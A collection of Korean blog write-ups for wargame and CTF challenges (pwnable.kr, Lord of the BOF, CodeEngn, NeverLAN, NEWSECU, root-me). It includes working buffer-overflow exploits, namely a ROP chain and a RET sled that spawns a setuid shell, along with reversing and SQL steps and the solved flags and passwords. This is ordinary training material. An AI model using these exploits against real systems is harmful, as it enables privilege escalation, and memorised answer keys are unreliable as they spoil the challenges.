    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}
cs



a, b, c, d, e, f, g 값을 생성해서 다 합친 값을 sum에 넣어둔다.


그다음 ropme()함수를 보면, 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int ropme()
{
  char s[100]; // [sp+4h] [bp-74h]@15
  int v2; // [sp+68h] [bp-10h]@1
  int fd; // [sp+6Ch] [bp-Ch]@16
 
  printf("Select Menu:");
  __isoc99_scanf("%d"&v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag"0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}
cs


41번째 행에서 bof가 일어난다.


입력받은 값이랑 sum이랑 값이 같으면 flag를 출력해준다.


A()는 a의 값을 출력해준다.


그러면, 41번째 행 bof을 이용해서 payload를 dummy[120] + A() + B() + C() + D() + E() + F() + G() + ropme() 로 해서 보낸다면 a~g 모두 값을 받을 수 있고, 받은 값을 모두 더해서 41행 gets()에 보내면 flag를 얻을 수 있을 것 같다.


A() : 0x809fe4b

B() : 0x809fe6a

C() : 0x809fe89

D() : 0x809fea8

E() : 0x809fec7

F() : 0x809fee6

G() : 0x809ff05


ropme() : 0x080afffc



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
 
= ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest')
= s.remote("127.0.0.1",9032)
 
func_A = 0x809fe4b
func_B = 0x809fe6a
func_C = 0x809fe89
func_D = 0x809fea8
func_E = 0x809fec7
func_F = 0x809fee6
func_G = 0x809ff05
ropme = 0x0809fffc
 
p.recvuntil("u:")
p.sendline("1")
p.recvuntil("? : ")
 
payload = "A"*120
payload += p32(func_A)
payload += p32(func_B)
payload += p32(func_C)
payload += p32(func_D)
payload += p32(func_E)
payload += p32(func_F)
payload += p32(func_G)
payload += p32(ropme)
 
p.sendline(payload)
 
t=0
for i in range(0,7):
    p.recvuntil('EXP +')
    t += int(p.recvuntil(')')[:-1])
 
p.recvuntil("u:")
p.sendline("1")
p.recvuntil("? : ")
p.sendline(str(t))
p.interactive()
 
cs



Magic_spell_1s_4vad4_K3daVr4!


한 번에 플래그가 뜨지 않는 경우들이 있다. 여러번 시도하면 된다.


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
반응형


blukat - 3 pt

Sometimes, pwnable is strange...

hint: if this challenge is hard, you are a skilled player.


ssh blukat@pwnable.kr -p2222 (pw: guest)





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
    int i;
    for(i=0; i<strlen(s); i++){
        flag[i] = s[i] ^ key[i];
    }
    printf("%s\n", flag);
}
int main(){
    FILE* fp = fopen("/home/blukat/password""r");
    fgets(password, 100, fp);
    char buf[100];
    printf("guess the password!\n");
    fgets(buf, 128, stdin);
    if(!strcmp(password, buf)){
        printf("congrats! here is your flag: ");
        calc_flag(password);
    }
    else{
        printf("wrong guess!\n");
        exit(0);
    }
    return 0;
}
 
 
cs


gdb로 열어서 strcmp 부분에 breakpoint을 걸고 password의 값을 확인했다.


   0x000000000040085c <+98>: lea    rax,[rbp-0x70]

   0x0000000000400860 <+102>: mov    rsi,rax

   0x0000000000400863 <+105>: mov    edi,0x6010a0

   0x0000000000400868 <+110>: call   0x400650 <strcmp@plt>


(gdb) b *main+110

Breakpoint 1 at 0x400868

(gdb) r

Starting program: /home/blukat/blukat 

guess the password!

a


Breakpoint 1, 0x0000000000400868 in main ()

(gdb) x/s 0x6010a0

0x6010a0 <password>: "cat: password: Permission denied\n"


password를 입력해주면 flag가 나온다.

blukat@ubuntu:~$ ./blukat 
guess the password!
cat: password: Permission denied  
congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!

간.단.


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [horcruxes] 풀이  (0) 2019.02.25
pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
반응형

ID | dark_stone

PW | let there be light


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - cruel
    - Local BOF on Fedora Core 4
    - hint : no more fake ebp, RET sleding on random library
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs



[dark_stone@Fedora_2ndFloor ~]$ gdb -q cruel

(no debugging symbols found)

Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) b* main+109

Breakpoint 1 at 0x8048451

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/dark_stone/cruel AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(no debugging symbols found)

(no debugging symbols found)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Breakpoint 1, 0x08048451 in main ()

(gdb) x/20x $esp-20

0xbf85c778: 0x41414141 0x41414141 0x41414141 0x41414141

0xbf85c788: 0x41414141 0x007bad00 0x00000002 0xbf85c814

0xbf85c798: 0xbf85c820 0xbf85c7d0 0x00795898 0x007a3878

0xbf85c7a8: 0xb7f5e690 0x00000001 0x008caff4 0x007a2ca0

0xbf85c7b8: 0x08048454 0xbf85c7e8 0xbf85c790 0x007bad44

(gdb) x/2x 0x008caff4

0x8caff4: 0x008cad3c 0x007bab16



0x008caff4가 0x008cad3c를 가리키고 있다.

ret sleding으로 쓱 싹



0x08048450 <main+108>: leave  

0x08048451 <main+109>: ret    



(gdb) b main

Breakpoint 1 at 0x80483ed

(gdb) r

Starting program: /home/dark_stone/cruel 

(no debugging symbols found)

(no debugging symbols found)


Breakpoint 1, 0x080483ed in main ()

(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
 
#include <stdlib.h>
 
 
 
int main(void)
 
{
 
        setreuid(geteuid(),geteuid());
 
        setregid(getegid(),getegid());
 
        system("/bin/sh");
 
}
cs

[dark_stone@Fedora_2ndFloor ~]$ gcc -o `python -c 'print "\x3c\xad\x8c\x00"'` ex.c


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
import struct
 
 
p32 = lambda x: struct.pack("<I", x)
 
target = "/home/dark_stone/cruel"
 
ret = 0x8048451
execl = 0x832d68
 
payload = 'A' * 260
 
payload += p32(ret) * 7
payload += p32(execl)
 
os.execv(target, (target, payload[:-1]))
 
cs


[dark_stone@Fedora_2ndFloor ~]$ vi ex.py

[dark_stone@Fedora_2ndFloor ~]$ python ex.

python: can't open file 'ex.': [Errno 2] No such file or directory

[dark_stone@Fedora_2ndFloor ~]$ python ex.py

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ�Q�Q�Q�Q�Q�Q�h-�

sh-3.00$ my-pass

euid = 501

come on, come over


반응형
반응형
Basic RCE L11
OEP를 찾으시오. Ex) 00401000 / Stolenbyte 를 찾으시오. 
Ex) FF35CA204000E84D000000 정답인증은 OEP+ Stolenbyte 
Ex ) 00401000FF35CA204000E84D000000 





stolenbyte 12byte와 OEP 00401000를 구할 수 있다. jmp는 0040100c로 하지만 stolenbyte 0xC byte 만큼 붙여주면 oep는 0040100c가 된다.



Basic RCE L12
Key를 구한 후 입력하게 되면 성공메시지를 볼 수 있다 
이때 성공메시지 대신 Key 값이 MessageBox에 출력 되도록 하려면 파일을 HexEdit로 오픈 한 다음 0x???? ~ 0x???? 영역에 Key 값을 overwrite 하면 된다. 
문제 : Key값과 + 주소영역을 찾으시오 
Ex) 7777777???????? 




참조된 문자열을 찾아서 성공 메세지를 출력하는 부분을 찾고 그 위에서 비교문과 분기점에 breakpoint를 걸고 실행했다.


key 값으로 1234를 넣었는데, 넣은 1234와 0x7A2896BF과 비교하는 것을 볼 수 있다.


0x7A2896BF == 2049480383


key 값은 2049480383이 된다.




key값이 MessageBox에 출력되도록 하려면 HxD로 열어서 Cong~~~부분을 찾는다.




성공 메세지 부분을 2049480383(\x00)으로 덮어주면 된다.[0x0D3B~0x0D45]




Basic RCE L13

정답은 무엇인가 



.NET은 DOTPEEK으로!



main을 보면, 암호화된 문자열을 복호화 한 값이랑 사용자 입력값이랑 비교한다.





코드를 추출해서 복호화된 문자열을 출력하도록 했다.







Basic RCE L14
Name이 CodeEngn 일때 Serial을 구하시오 
(이 문제는 정답이 여러개 나올 수 있는 문제이며 5개의 숫자로 되어있는 정답을 찾아야함, bruteforce 필요) 
Ex) 11111 



upx 패킹이 되어 있으므로 언패킹을 진행하고 올리디버거로 열었다.







참조된 문자열중 성공문자열을 찾고, 그 위에 분기점과 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 11111을 입력했을 때 


11111은 EAX에 들어가서 ESI값 0x129A1과 비교하게 된다



0x129A1의 10진수 값 76193을 입력해주면 성공메세지가 출력된다.




Basic RCE L15
Name이 CodeEngn일때 Serial을 구하시오 



이번에는 패킹이 되어있지 않아서 바로 올리디버거로 열었다.




참조된 문자열에서 성공메세지를 찾고 그 위 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 12345 로 입력을 했는데 입력한 12345와 24928을 비교한다.





Basic RCE L16
Name이 CodeEngn일때 Serial을 구하시오 


이번에도 패킹은 없다.




참조된 문자열에서 성공메세지를 찾아 그 위 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 11111 로 입력했더니 11111과 0xE4C60D97과 비교한다.



0xE4C60D97 의 10진수값을 시리얼로 입력해주면 된다.

반응형

'WAR GAME > CodeEngn' 카테고리의 다른 글

CodeEngn [Basic RCE] 1 ~ 10 풀이  (0) 2019.02.09
CodeEngn [Cryptology] 풀이  (8) 2019.02.09
반응형

NeverLAN CTF 2019 


write up by M4ndU





Trivia


SQL Trivia 1

20

The oldest SQL Injection Vulnerability. The flag is the vulnerability ID.


flag : CVE-2000-1233




SQL Trivia 2

20

In MSSQL Injection Whats the query to see what version it is?


flag : SELECT @@version




Sea Quail

20

A domain-specific language used in programming and designed for managing data held in a relational database management system, or for stream processing in a relational data stream management system.


flag : SQL




64 Characters

20

A group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation.


flag : base64




With Some Milk

20

A small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing.


flag : cookie



Beep Boop

20

A standard used by websites to communicate with web crawlers and other web robots. The standard specifies how to inform the web robot about which areas of the website should not be processed or scanned


flag : robots.txt




Recon


Unexpected intruder

50

occurring in Chicago, Illinois, United States, on the evening of November 22. There was an interruption like nothing we had ever seen before.

What was the name of the Intruder?


flag : maxheadroom




Crypto


Alphabet Soup

125

MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA



처음에 카이사르로 돌려봤는데 나오질 않아서 치환암호인것 같았다.


https://quipqiup.com/ 자동으로 치환암호를 풀어주는 이 사이트에 clue 없이 돌린다음에 WAFI=FLAG 라는 clue를 넣어주어 완벽한 해독문을 얻을 수 있었다.


flag : DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL





scripting/coding


WebCipher

300

To verify that only computers can access the website, you must reverse the Caesar cipher There are a list of possible words that the cipher may be here

https://challenges.neverlanctf.com:1160


이게 왜 여기있고, 왜 300점이나 되는지 모르겠는 이상한 문제




페이지에 접속하면 문자열 하나와 입력폼 하나가 있다.


문자열을 카이사르로 돌리면 accelerator 가 나오는데 이를 입력해주면 플래그가 나온다.





사람이 푸는게 아니라 코드를 짜서 풀어야 하는 문제인건가...?




Binary


Binary 2

200

Our lead Software Engineer recently left and deleted all the source code and changed the login information for our employee payroll application. Without the login information none of our employees will be paid. Can you help us by finding the login information?

***Flag is all caps




.net이다. dotpeek으로 까보면 된다.






바로 flag를 확인할 수 있다. 하나하나 디코딩하기는 귀찮으니 나와있는 id와 pw을 입력해 flag를 출력하게 하면 된다.





flag : flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}





Web


Cookie Monster

20

It's a classic https://challenges.neverlanctf.com:1110



페이지에 들어가면 He's my favorite Red guy 라고 하는데 쿠키몬스터에서 red guy의 이름은 Elmo다. 쿠키값에 그의 이름을 적는 쿠키가 있다. Elmo 를 적어주고 새로고침하면 플래그가 나온다.


flag : flag{YummyC00k13s}




Things are not always what they seem

50

if you can't find it you're not looking hard enough

https://challenges.neverlanctf.com:1165/hello.html


페이지 소스보면 있다. 정확히는 글씨가 하얀색으로 되어 있어서 페이지에서는 안보이는 것이다. 드래그하거나 컨트롤+a 를 하면 볼 수 있다.


flag : flag{Whale_w0u1d_y0u_l00k3y_th3r3}




SQL Fun 1

75

REPORT: 'My Customer forgot his Password. His Fname is Jimmy. Can you get his password for me? It should be in the users table'

https://challenges.neverlanctf.com:1150


SELECT * FROM users WHERE Fname = 'Jimmy'


flag : flag{SQL_F0r_Th3_W1n}




SQL Fun 2

75

REPORT: A Client forgot his Password... again. Could you get it for me? He has a users account and his Lname is Miller if that helps at all. Oh! and Ken was saying something about a new table called passwd; said it was better to separate things

https://challenges.neverlanctf.com:1155


SELECT * FROM users;


idUsernameFnameLnameEmail
1JohnJohnHancockWhyDoYouWantMy@email.com
2JimWillJimmyWillmanSQL@example.com
3CaptinJacksparrowpirates@carribean.com
4N30ZaneDurkininfo@neverlanctf.com
5DisUserTomMillerMiller@example.com


Lname이 Miller인 계정의 아이디는 5다.



SELECT * FROM passwd;


iduser_idPassword
11Tm9wZS4uLiBXcm9uZyB1c2Vy
25ZmxhZ3tXMWxsX1kwdV9KMDFOX00zP30=
32Tm9wZS4uLiBXcm9uZyB1c2Vy
43Tm9wZS4uLiBXcm9uZyB1c2Vy
54Tm9wZS4uLiBXcm9uZyB1c2Vy


user_id의 password를 base64 디코딩하면 플래그가 나온다.


flag : flag{W1ll_Y0u_J01N_M3?}




Console

75

You control the browser

https://challenges.neverlanctf.com:1120



조건이 성립했을 때 일어나는 명령어를 크롬 콘솔창에 입력했다 :


$.ajax({

                        type: 'GET',

                        url: '1/key.php',

                        success: function (file_html) {

                            // success

                           foo.innerHTML=(file_html)

                        }

})


그러면 응답 메세지 중에 플래그가 있다.


flag : flag{console_controls_js}

반응형

'CTF Write Up' 카테고리의 다른 글

TAMU CTF 2019 wirte up  (0) 2019.03.04
제 1회 TRUST CTF write up  (0) 2019.02.18
2019 NEWSECU CTF Write-Up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
반응형

M4ndU 41st place 460 points

개인팀으로 문제를 풀다가 2인팀으로 바꿨습니다.


Irin_M4ndU 16th place 1060 points


푼 문제들:

mic_check                 test

What_the...three         crypto

Can you Bruteforcing? Web

goback                 misc

Base64                 misc

Easy_Forensics(1)         forensics

Secret_Code_from...       misc

선물문제(저놈 잡아라)    gift

피보다진한...?               forensics

restore                       misc

Easy_Forensics(2)          forensics


그리고 풀다만 Flag Leaked ...





1. mic_check

test


flag : flag{test}



2. What_the...three

crypto



한때 우리 인류는 외계 생명체에 많은 관심을 가지고 있었다. 그래서 우리 인류는 외계에 지구를 소개하는 데이터를 전파에 넣고 전송을 했었는데,,, 그로부터 10년뒤,, 우리 인류는, 그것도 한국은 외계에서 보낸듯한 메시지를 수신받게 되었다. 그런데, 잠깐,,, 우리 인류가 사용하는 체계의 데이터가 아니었다... 과연 아래의 데이터는 무슨내용일까?

========== DATA START ========== 002121 002211 002102 002122 011120 010002 002101 011001 010112 002122 011111 001220 001210 011011 010112 010002 002101 011000 010112 002212 001220 001210 010222 010112 002122 001210 010112 010002 010220 011011 010112 002112 002101 010121 011122 ========== DATA END ============



3진법이다. 계산해서 ascii로 바꿔주면 된다.


flag : FLAG{S@m_Gy30p_S@l_M30k_G0_Sip_D@a}




3. Can you Bruteforcing?

Web


패스워드 입력 폼이 있는데, 패스워드는 숫자 4자리라고 한다.


burpsuit 돌려서 구했다.


password : 1016

flag : NEWSECU{Can_You_Brute_Force_This_Password} 




4. goback

misc


친구에게 사랑에 빠진 누군가가 있었다.

그 누군가는 드디어 20살이 된 기념으로 친구에게 고백을 하기위해 파일을 작성하였다.

그런데, 그 누군가는 해커기질이 너무 강해서인지,

고백하기 위한 문장 마저 파일 내부에 숨겨버렸는데,,

과연, 그 남자의 운명은 어떻게 될 것인가..


hwp파일이 주어진다.


hwpscan2라는 프로그램으로 까보면 png파일이 하나 있는데, hex(Decompress)로 보면 끝부분에 플래그가 있다.




flag : FLAG{He_was_a_car...}

그는 차였어...........ㅠㅠ



5. Base64
misc


nc 35.237.96.115 1357 base64를 3번 디코딩하라!


코드 짜서 돌리면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import base64
#context.log_level='debug'
 
def base64ToString(b):
    first = base64.b64decode(b).decode('utf-8')
    return first
 
#connect nc
= remote("35.237.96.115"1357)
 
for i in range(3):
    text = p.recvline()
    dec = base64ToString(text.strip())
    p.recvline()
    p.recvuntil(":")
    p.sendline(dec)
 
p.recvline()
 
cs


flag : FLAG{simple_base64_decoding}




6. Easy_Forensics(1)

forensics


윈도우 로그인 암호를 찾아라!


제가 푼 문제가 아니라서 pass

해시 돌리면 된다고 했던 것 같다.


password : st4rt



7. Secret_Code_from...

misc


이것도 제가 푼 문제가 아니라서 pass



8. 선물문제(저놈 잡아라)

gift


pass




9. 피보다진한...?

forensics


pass




10. restore

misc


포토샵 노가다 하면 풀린다고 한다.

파워노가다




11. Easy_Forensics(2)

forensics


이미지를 찾아라! 폴더에서 Flag_Image.png파일을 stegsolve.jar 프로그램 돌리면 플래그 이미지가 나온다.


바탕화면에 HxD 깔려있어서 hex로 별짓 다했던 문제..ㅠㅠ



12. Easy_Forensics(4)

flag.zip파일을 더블클릭하면 셧다운이 예약된다. 반디집 프로그램 자체를 실행하면 셧다운이 걸리는 것인데.

이렇게 만드는 파이썬 코드와 파이썬 코드를 실행하는 쉘을 각각 유저/공용/음악폴더와 시작프로그램 폴더에서 찾을 수 있다.

그리고 모르겠다..


12. Flag Leaked


com.android.provider.telephony/ 이쪽에 mmssms.db라는 파일이 있다. db뷰어로 이 파일을 보면 메세지 내용을 확인 할 수 있다.


메세지에 담긴 링크로 암호화된 문자열이 있는 flag.txt  와 이를 복호화해주는 apk파일, pw 문자열을 얻을 수 있다.


flag.txt를 Download폴더에 넣고, 폰에 앱을 설치해 복호화를 시도했는데, 실패했다...

반응형

'CTF Write Up' 카테고리의 다른 글

제 1회 TRUST CTF write up  (0) 2019.02.18
NeverLAN CTF 2019 write up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
반응형

root-me.org [NETWORK] 풀이


FTP - authentication


패킷 분석











TELNET - authentication


패킷분석 2









ETHERNET - frame


hex2ascii

base64 decode







Twitter authentication


패킷 분석

base64 decode






CISCO - password



password 7 해독 툴을 사용하면 패스워드 형식이 6sK0_아이디 임을 알 수 있다.


그럼 아이디가 Enable인 패스워드도 구할 수 있다.






DNS - zone transfert


dig @challenge01.root-me.org -p 54011 ch11.challenge01.root-me.org TXT





IP - Time To Live


타겟 호스트에 도달하는데 사용된 ttl값 : 13





SIP - authentication


1234

....


반응형

+ Recent posts